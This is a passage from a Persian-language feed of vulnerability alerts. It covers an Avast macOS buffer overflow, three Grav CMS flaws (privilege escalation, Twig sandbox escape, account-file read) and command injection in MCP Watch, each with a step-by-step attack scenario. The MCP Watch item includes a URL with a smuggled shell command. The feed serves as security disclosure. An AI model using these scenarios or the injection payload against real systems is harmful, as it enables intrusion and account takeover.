در سناریوی دیگر، اسکن فایل مخرب باعث کرش کردن و از کار افتادن کامل موتور آنتی‌ویروس می‌شود. در این حالت، سیستم دفاع امنیتی خود را از دست داده و در برابر سایر تهدیدات بی‌دفاع می‌ماند تا زمانی که سرویس به صورت دستی راه‌اندازی مجدد شود.

سناریوی حمله: 👨‍💻
یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. آماده‌سازی: مهاجم یک فایل به ظاهر بی‌خطر (مانند یک سند PDF، فایل فشرده ZIP یا یک تصویر) را به گونه‌ای دستکاری می‌کند که حاوی کدهای مخرب برای فعال‌سازی سرریز بافر باشد.

۲. توزیع: فایل مخرب از طریق روش‌های مهندسی اجتماعی مانند ایمیل‌های فیشینگ، لینک‌های دانلود آلوده در وب‌سایت‌ها یا حافظه‌های USB به سیستم قربانی منتقل می‌شود.

۳. فعال‌سازی: به محض اینکه کاربر فایل را دانلود، کپی یا تلاش برای باز کردن آن می‌کند، سپر حفاظتی آنی (Real-time Protection) آنتی‌ویروس Avast به طور خودکار فایل را برای اسکن فراخوانی می‌کند. همین عمل اسکن، ماشه آسیب‌پذیری را می‌چکاند.

۴. بهره‌برداری: با شروع اسکن، کد مخرب درون فایل باعث سرریز بافر در موتور آنتی‌ویروس شده و بسته به هدف مهاجم، یا سرویس آنتی‌ویروس کرش می‌کند (DoS) یا کد دلخواه مهاجم بر روی سیستم اجرا می‌شود (LCE).

---
توصیه امنیتی: 💡
به تمامی کاربران آنتی‌ویروس Avast بر روی سیستم‌عامل macOS اکیداً توصیه می‌شود که نرم‌افزار خود را در اسرع وقت به نسخه 8.3.70.98 یا بالاتر به‌روزرسانی کنند تا این حفره امنیتی را برطرف نمایند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-66296

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری | افزایش سطح دسترسی در Grav CMS

---

Vulnerability Description:

آسیب‌پذیری با شناسه CVE-2025-66296 از نوع افزایش سطح دسترسی (Privilege Escalation) در پلاگین Admin پلتفرم مدیریت محتوای Grav شناسایی شده است. این ضعف امنیتی در نسخه‌های قبل از 1.8.0-beta.27 وجود دارد.

ریشه مشکل در عدم اعتبارسنجی برای منحصربه‌فرد بودن نام کاربری هنگام ایجاد یک کاربر جدید است. این نقص به یک مهاجم که دارای مجوز ایجاد کاربر است، اجازه می‌دهد تا یک حساب کاربری جدید با نام کاربری مشابه یک مدیر ارشد (Administrator) موجود ایجاد کند.

---

Impact:

تأثیر اصلی این آسیب‌پذیری، افزایش سطح دسترسی از یک کاربر با اختیارات محدود به سطح مدیر کل سیستم است. یک مهاجم با بهره‌برداری موفق از این ضعف امنیتی می‌تواند کنترل کامل وب‌سایت را به دست آورد.

پیامدهای این حمله شامل موارد زیر است:
- تغییر، حذف یا سرقت تمام محتوای وب‌سایت.
- دسترسی به اطلاعات حساس کاربران.
- نصب کدهای مخرب یا درهای پشتی (Backdoor) بر روی سرور.
- ایجاد اختلال کامل در عملکرد سرویس.

---

Scenario:

یک سناریوی واقعی برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. مهاجم به یک حساب کاربری با دسترسی محدود، مانند مدیر کاربران (User Manager)، دسترسی پیدا می‌کند. این حساب، مجوز ایجاد کاربران جدید را دارد اما نمی‌تواند به تنظیمات اصلی سایت دسترسی داشته باشد.

۲. مهاجم نام کاربری مدیر اصلی سیستم را شناسایی می‌کند (برای مثال، admin).

۳. مهاجم با استفاده از حساب کاربری محدود خود، یک کاربر جدید با نام کاربری admin ایجاد کرده و یک رمز عبور و ایمیل جدید برای آن تعریف می‌کند.

۴. به دلیل وجود آسیب‌پذیری، سیستم این نام کاربری تکراری را پذیرفته و عملاً اطلاعات ورود مدیر اصلی را بازنویسی می‌کند.

۵. اکنون مهاجم می‌تواند با نام کاربری admin و رمز عبور جدیدی که خود تعریف کرده است وارد سیستم شده و به تمام اختیارات مدیر کل دسترسی پیدا کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-66299

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری | CVE-2025-66299

شرح آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-66299 در سیستم مدیریت محتوای Grav CMS شناسایی شده است. این آسیب‌پذیری از نوع تزریق قالب سمت سرور یا Server-Side Template Injection (SSTI) است و نسخه‌های قبل از 1.8.0-beta.27 را تحت تأثیر قرار می‌دهد.

مهاجمی که به یک حساب کاربری با سطح دسترسی "ویرایشگر" (Editor) دسترسی داشته باشد، می‌تواند با دور زدن مکانیزم امنیتی (Sandbox) موتور قالب Twig، کدهای دلخواه را بر روی سرور اجرا کند. نقطه ضعف اصلی در محافظت ناقص از آبجکت Twig است که به مهاجم اجازه می‌دهد با تزریق دستورات مخرب در قالب صفحات وب، توابع دلخواه خود را به لیست فیلترهای امن (system.twig.safe_filters) اضافه کرده و در نتیجه Sandbox را دور بزند.

تأثیر:
موفقیت‌آمیز بودن این حمله منجر به اجرای کد از راه دور (Remote Code Execution - RCE) بر روی سرور می‌شود. این امر به مهاجم کنترل کامل بر روی وب‌سایت و سرور میزبان را می‌دهد و می‌تواند منجر به موارد زیر شود:
- سرقت اطلاعات حساس مانند پایگاه داده، اطلاعات کاربران و فایل‌های سرور.
- نصب بدافزار، باج‌افزار یا درب‌های پشتی (Backdoor).
- تغییر ظاهر وب‌سایت (Defacement).
- استفاده از سرور برای حملات بیشتر به سایر سیستم‌ها.

سطح خطر این آسیب‌پذیری بحرانی (Critical) ارزیابی می‌شود.

سناریوی حمله:
۱. مهاجم از طریق روش‌هایی مانند فیشینگ یا استفاده از رمز عبور افشا شده، به یک حساب کاربری با دسترسی Editor در پنل مدیریت Grav CMS دست پیدا می‌کند.

۲. پس از ورود به پنل، به بخش ویرایش یکی از صفحات وب‌سایت مراجعه می‌کند.

۳. در محتوای صفحه، یک قطعه کد مخرب Twig تزریق می‌کند. این کد به گونه‌ای طراحی شده که بتواند یک تابع سیستمی مانند exec را به عنوان یک فیلتر امن ثبت کند.

۴. پس از ذخیره و رندر شدن صفحه، کد مخرب توسط سرور اجرا می‌شود. برای مثال، مهاجم ابتدا تابعی را ثبت کرده و سپس با استفاده از آن، یک دستور سیستمی مانند id را اجرا می‌کند.

۵. با اجرای موفقیت‌آمیز دستور، مهاجم کنترل سرور را به دست گرفته و می‌تواند حملات خود را گسترش دهد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-66300

🟠 Risk Level: HIGH (Score: 8.5)

تحلیل آسیب‌پذیری خواندن فایل در پلتفرم Grav
شناسه: CVE-2025-66300

آسیب‌پذیری:
این آسیب‌پذیری در پلتفرم وب فایل‌محور Grav و در نسخه‌های پیش از 1.8.0-beta.27 وجود دارد. یک کاربر با سطح دسترسی پایین که صرفاً مجوز ویرایش صفحات (page editing) را دارد، می‌تواند با سوءاستفاده از فرم "Frontmatter"، به فایل‌های دلخواه روی سرور دسترسی خواندن پیدا کند.

تأثیر:
تأثیر اصلی این آسیب‌پذیری بسیار جدی است. مهاجم می‌تواند فایل‌های حساس مربوط به حساب‌های کاربری (واقع در مسیر /grav/user/accounts/*.yaml) را بخواند. این فایل‌ها حاوی اطلاعات حیاتی مانند هش رمز عبور، کلید محرمانه احراز هویت دو عاملی (2FA) و توکن بازنشانی رمز عبور هستند. در نتیجه، مهاجم قادر خواهد بود با به دست آوردن توکن، رمز عبور هر کاربری را بازنشانی کرده و کنترل کامل حساب او را به دست گیرد یا با کرک کردن هش، به کلمه عبور اصلی دست پیدا کند.

سناریو:
یک سناریوی حمله به شرح زیر است:

۱. مهاجم به یک حساب کاربری با سطح دسترسی پایین (مانند یک نویسنده یا ویرایشگر) در وب‌سایت مبتنی بر Grav دسترسی پیدا می‌کند.

۲. با استفاده از مجوز ویرایش صفحات، مهاجم یک payload مخرب در بخش "Frontmatter" یک صفحه ایجاد یا ویرایش می‌کند.

۳. این payload آسیب‌پذیری را فعال کرده و به مهاجم اجازه می‌دهد محتوای فایل حساب کاربری ادمین (مثلاً admin.yaml) را بخواند.

۴. مهاجم توکن بازنشانی رمز عبور یا هش رمز عبور را از محتوای فایل استخراج می‌کند.

۵. در نهایت، با استفاده از توکن، رمز عبور حساب ادمین را تغییر داده و به سطح دسترسی کامل در سیستم دست پیدا می‌کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-66401

🔴 Risk Level: CRITICAL (Score: 9.8)

گزارش تحلیل آسیب‌پذیری | CVE-2025-66401

تحلیل یک آسیب‌پذیری حیاتی از نوع Command Injection در ابزار MCP Watch.

شرح آسیب‌پذیری:
ابزار اسکنر امنیتی MCP Watch در نسخه‌های 0.1.2 و قدیمی‌تر، دارای یک آسیب‌پذیری بسیار حیاتی از نوع تزریق دستور (Command Injection) است. این ضعف امنیتی در متد cloneRepo از کلاس MCPScanner قرار دارد. برنامه، پارامتر ورودی githubUrl را که توسط کاربر ارائه می‌شود، بدون هیچ‌گونه پاک‌سازی یا اعتبارسنجی، مستقیماً به یک دستور سیستمی از طریق execSync ارسال می‌کند.

تأثیر:
یک مهاجم می‌تواند با افزودن متاکاراکترهای شل (مانند ;, |, &&) به انتهای آدرس URL، دستورات دلخواه خود را بر روی ماشین میزبان اجرا کند. این آسیب‌پذیری منجر به اجرای کد از راه دور (RCE) شده و به مهاجم امکان کنترل کامل سرور، سرقت اطلاعات حساس، نصب بدافزار و یا از کار انداختن سرویس‌ها را می‌دهد. شدت این آسیب‌پذیری بحرانی (Critical) ارزیابی می‌شود.

سناریوی حمله:
۱. مهاجم یک URL مخرب را به شکل زیر ایجاد می‌کند. در این مثال، دستور whoami برای شناسایی کاربر فعلی سیستم به انتهای URL اضافه شده است:
https://github.com/user/repo.git; whoami

۲. این URL مخرب به عنوان ورودی به متد cloneRepo داده می‌شود.

۳. برنامه بدون اعتبارسنجی، دستور کامل را در شل سیستم اجرا می‌کند. در نتیجه، پس از تلاش برای کلون کردن مخزن، دستور whoami نیز بر روی سرور اجرا می‌شود.

۴. مهاجم می‌تواند خروجی دستور را مشاهده کرده و تأیید کند که کنترل اجرای دستورات بر روی سیستم را به دست آورده است. در مراحل بعدی، مهاجم می‌تواند از دستورات بسیار مخرب‌تری برای دستیابی به اهداف خود استفاده کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-3500

🔴 Risk Level: CRITICAL (Score: 9.0)


🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2024-45675

🟠 Risk Level: HIGH (Score: 8.4)


🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-12529

🟠 Risk Level: HIGH (Score: 8.8)


🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal